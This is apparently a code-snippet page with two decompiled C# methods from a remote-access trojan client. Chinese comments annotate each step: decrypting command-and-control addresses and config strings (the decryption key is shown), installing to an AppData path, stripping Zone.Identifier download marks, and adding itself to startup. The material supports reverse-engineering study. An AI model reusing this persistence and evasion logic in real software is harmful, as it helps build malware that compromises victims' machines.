Пример #1
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
Пример #2
0
 // Token: 0x060005C4 RID: 1476 RVA: 0x000149EC File Offset: 0x00012BEC
 public static void smethod_0()
 {
     GClass18.smethod_0(GClass35.string_8);                     //GClass35.string_8 = dYxHB9fbdkKyJsZqTaRz 为字符串解密key
     GClass35.string_9 = GClass18.smethod_5(GClass35.string_9); //解密字符串
     GClass35.string_0 = GClass18.smethod_5(GClass35.string_0); //解密字符串
     GClass35.string_1 = GClass18.smethod_5(GClass35.string_1); //解密字符串
     GClass35.string_2 = GClass18.smethod_5(GClass35.string_2); //解密字符串
     GClass35.string_4 = GClass18.smethod_5(GClass35.string_4); //解密字符串
     GClass35.string_5 = GClass18.smethod_5(GClass35.string_5); //解密字符串
     GClass35.string_6 = GClass18.smethod_5(GClass35.string_6); //解密字符串
     GClass35.string_7 = GClass18.smethod_5(GClass35.string_7); //解密字符串
     GClass35.smethod_1();                                      //判断操作系统,对应文件拷贝下载路径
 }